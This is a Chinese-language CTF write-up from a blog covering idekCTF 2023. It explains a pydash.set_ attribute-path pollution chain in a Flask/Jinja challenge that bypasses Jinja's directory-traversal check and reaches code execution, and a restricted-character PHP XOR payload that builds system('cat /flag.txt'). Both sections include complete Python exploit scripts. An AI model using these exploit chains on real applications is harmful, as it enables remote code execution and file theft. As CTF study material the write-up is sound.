ysoseri.us

技术内容 / 本科的一些学习笔记和wp / idekctf 2023 wp

idekctf 2023 wp

web

task manager

题目有点原型链污染的味道,也可以说是借鉴了pyjail的一些思路,很有意思的一道题目。

作者提供了对于 pydash.set_ 的封装,可以通过变量路径设置值,类似一个高级版的 setattr。比如:

|

>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D") {'A': {'B': 'D'}}

| | --- |

寻找访问 app 的方法

在 taskmanager.py 里面调用 pydash.set_() 可以通过实例化的 TaskManager 对象利用特殊属性实现对 app 对象的修改:

|

pydash.set_( TaskManager(), '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx', 'xxx' )

| | --- |

将 eval 加入模板全局变量

然后再回来看 app.py ,可以发现一段很奇怪的代码:

图片 1

add_template_global(eval)

既然 app 已经可控了,如果能够实现 before_first_request 的重复调用那么就可以在模板中实现任意代码执行了,经过一些寻找发现可以通过将 app._got_first_request 设置为 False 实现。

设法调用 eval

接下来就是寻找方法对已经放入模板全局变量的 eval 函数进行调用,而 add_template_global 函数是通过 __name__ 来确定变量名字的,但是 builtin 函数的 __name__ 是只读的,所以没有办法用来改个名字放进去,只有找现有文件中存在 eval 的来当作模板。在题目中只有 app.py 出现了 eval ,可以尝试利用。

这里使用的方法是对 app.jinja_env 的 variable_start_string 和 variable_end_string 进行替换,原本 jinja 是通过识别 {{.*}} 来识别模板中的变量的,但是我们可以通过修改这两个值来更改 jinja 识别变量的方式,从而拼接出一个rce。

绕过 jinja 的目录穿越检查实现任意文件渲染

下面一个问题是现在只能够对 templates 下面的文件进行渲染,但是这里面的 html 很明显是用不了的,所以要想办法让他可以渲染任意文件,在 jinja 源码(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38) 可以看到是通过 os.path.pardir 来对目录穿越进行了保护,但是我们可以通过修改 pardir 的值来绕过。

最后在对 app.py 进行利用的时候发现虽然出现了 eval ,但是并没有 eval(.*) 的形式出现,尝试通过修改 app.jinja_env 的 comment_start_string 和 comment_end_string 来让 jinja 把文件的一部分当作注释删掉来凑成一个 eval(.*) 的形式,但是 jinja 解析时会报错,后来发现 {{ eval{# #}(.*) }} 这种中间有注释的模板变量本来就不能正常解析,但是现在既然可以渲染任意文件了,所以可以尝试在 python 库里面寻找出现 eval(.*) 的文件,最后找到了 turtle.py。

exp

|

import requests import re base_url = 'http://127.0.0.1:1337' url = f'{base_url}/api/manage_tasks' exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py' app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app' # add eval to template globals requests.post(url, json={"task": f"{app}.env", "status": "yolo"}) requests.post(url, json={"task": f"{app}._got_first_request", "status": None}) # bypass jinja directory traversal check requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"}) # change jinja_env requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n value = """}) requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"}) # add global vars requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"}) # get flag s = requests.Session() r = requests.Request(method='GET', url=exp_url) p = r.prepare() p.url = exp_url r = s.send(p) flag = re.findall('idek{.*}', r.text)[0] print(flag)

| | --- |

非预期

由于作者把 flag 写在 Dockerfile 里面了,并且在构建容器的时候是通过 RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt 写的 flag 通过COPY . . 添加的题目代码,这就意味着 Dockerfile 本身也被复制进了容器,所以在实现 LFI 之后就可以直接读取 Dockerfile 就可以拿到 flag 了

|

import requests import re base_url = 'http://127.0.0.1:1337' url = f'{base_url}/api/manage_tasks' exp_url = f'{base_url}/../Dockerfile' # bypass jinja directory traversal check requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"}) # get flag s = requests.Session() r = requests.Request(method='GET', url=exp_url) p = r.prepare() p.url = exp_url r = s.send(p) flag = re.findall('idek{.*}', r.text)[0] print(flag)

| | --- |

通过 jinja2.runtime.exported 实现 rce

https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

通过 jinja 源码(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) 可以发现模板的生成其实是调用了 environment.from_string,而在 from_string 函数中又调用了(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) environment.compile,并且对 compile 会返回一个 code 对象,后续会被 exec(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222),如果我们能够控制这里 exec 的内容那么就可以实现 rce。

经过简单的调试可以 在这里(https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) 发现在生成代码的时候有一个可控变量 exported_names,他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组,所以我们完全可以通过 pydash.set_() 来进行覆盖,从而达到 rce。

|

import requests, re base_url = 'http://127.0.0.1:1337' url = f'{base_url}/api/manage_tasks' flag_url = f'{base_url}/../../tmp/flag' payload = '''* __import__('os').system('cp /flag* /tmp/flag') #''' # bypass jinja directory traversal check requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"}) # replace exported to prepare rce requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload}) # trigger rce requests.get(f'{base_url}/home.html') # get flag s = requests.Session() r = requests.Request(method='GET', url=flag_url) p = r.prepare() p.url = flag_url r = s.send(p) flag = re.findall('idek{.*}', r.text)[0] print(flag)

| | --- |

misc

PHPFu…n:

题目限制了只能有以下几个字符

|

([.^])',

| | --- |

基本思路就是用现有的字符造更多的字符,但是因为只要一报错就会 die() ,所以不能用包括 [].'' 在内的很多方式,只能从现有的开始:

|

In [206]: mapping = {} ...: for a, b in combinations('[(,.^)]', 2): ...: x = chr(ord(a) ^ ord(b)) ...: if x in mapping: ...: continue ...: mapping[x] = (a, b) ...: In [207]: mapping Out[207]: {'s': ('[', '('), 'w': ('[', ','), 'u': ('[', '.'), '\x05': ('[', '^'), 'r': ('[', ')'), '\x06': ('[', ']'), '\x04': ('(', ','), 'v': ('(', '^'), '\x01': ('(', ')'), '\x02': (',', '.'), 'q': (',', ']'), 'p': ('.', '^'), '\x07': ('.', ')'), '\x03': ('^', ']'), 't': (')', ']')}

| | --- |

所以现在就有了 ([.^])',swurvqpt然后看到有 str 就想看看有什么能用的字符串相关的函数 link

|

In [209]: str_funcs = ['addcslashes','addslashes','bin2hex','chop','chr','chunk_split','convert_uudecode','convert_ne ...: code','count_chars','crc32','crypt','echo','explode','fprintf','get_html_translation_table','hebrev','heni ...: ','html_entity_decode','htmlentities','htmlspecialchars_decode','htmlspecialchars','implode','join','lcfi't ...: ,'levenshtein','localeconv','ltrim','md5_file','md5','metaphone','money_format','nl_langinfo','nl2br','nure ...: _format','ord','parse_str','print','printf','quoted_printable_decode','quoted_printable_encode','quote', ...: rtrim','setlocale','sha1_file','sha1','similar_text','soundex','sprintf','sscanf','str_contains','str_eniw ...: th','str_getcsv','str_ireplace','str_pad','str_repeat','str_replace','str_rot13','str_shuffle','str_s' ...: tr_starts_with','str_word_count','strcasecmp','strchr','strcmp','strcoll','strcspn','strip_tags','striphs ...: es','stripos','stripslashes','stristr','strlen','strnatcasecmp','strnatcmp','strncasecmp','strncmp','strpbrk' ...: ,'strpos','strrchr','strrev','strripos','strrpos','strspn','strstr','strtok','strtolower','strtoupper','strtr ...: ','substr_compare','substr_count','substr_replace','substr','trim','ucfirst','ucwords','utf8_decode','utne ...: code','vfprintf','vprintf','vsprintf','wordwrap'] In [210]: for func in str_funcs: ...: if all(c in mapping for c in func): ...: print(func) ...: strstr strtr

| | --- |

然后通过 strstr 就可以拿到 false = strstr('.',',') ,但是还不够,于是就跑去把所有的函数都拿来了 link

|

In [211]: phpfuncs = [] ...: with open("/phpfuncs.txt",'r', encoding='utf8') as f: ...: phpfuncs = f.read().split(',') ...: In [212]: for func in phpfuncs: ...: if all(c in mapping for c in func): ...: print(func) ...: sqrt strstr strtr

| | --- |

然后通过 sqrt(strstr('.',',')) 拿到了 0 ,但是拿到数字之后现在并没有什么用,于是想办法放到之前已经有的字符里面看看还能生成什么字符:

|

In [215]: mapping = {} ...: for a, b in combinations('[(,.^)]0', 2): ...: x = chr(ord(a) ^ ord(b)) ...: if x in mapping: ...: continue ...: mapping[x] = (a, b) ...: mapping Out[215]: {'s': ('[', '('), 'w': ('[', ','), 'u': ('[', '.'), '\x05': ('[', '^'), 'r': ('[', ')'), '\x06': ('[', ']'), 'k': ('[', '0'), '\x04': ('(', ','), 'v': ('(', '^'), '\x01': ('(', ')'), '\x18': ('(', '0'), '\x02': (',', '.'), 'q': (',', ']'), '\x1c': (',', '0'), 'p': ('.', '^'), '\x07': ('.', ')'), '\x1e': ('.', '0'), '\x03': ('^', ']'), 'n': ('^', '0'), 't': (')', ']'), '\x19': (')', '0'), 'm': (']', '0')} In [216]: for func in phpfuncs: ...: if all(c in mapping for c in func): ...: print(func) ...: sqrt strspn strstr strtr

| | --- |

多了一个 strspn 那么现在就有任意数字了,接下来就想办法构造 chr 函数:

|

'c': ('[', '8') 'h': ('[', '3') 'r': ('[', ')')

| | --- |

chr 出了就可以开始写 exp 了:

|

from pwn import * s = "('['^'(')" str = f"{s}.(')'^']').('['^')')" strstr = f"{str}.{str}" sqrt = f"{s}.(','^']').('['^')').(')'^']')" zero = f"({sqrt})(({strstr})('.',',')).''" strspn = f"{str}.{s}.('.'^'^').('^'^{zero})" num = lambda x:f"({strspn})('{'.' * x}','.')" phpchr = lambda x:f"(('['^{num(8)}.'').('['^{num(3)}.'').('['^')'))({num(ord(x))})" phpstr = lambda str:'.'.join([phpchr(c) for c in str]) payload = f"({phpstr('system')})({phpstr('cat /flag.txt')})" print(payload) r = remote('phpfun.chal.idek.team', 1337) r.recvuntil(b'Input script: ') r.sendline(payload.encode()) r.interactive()

| | --- |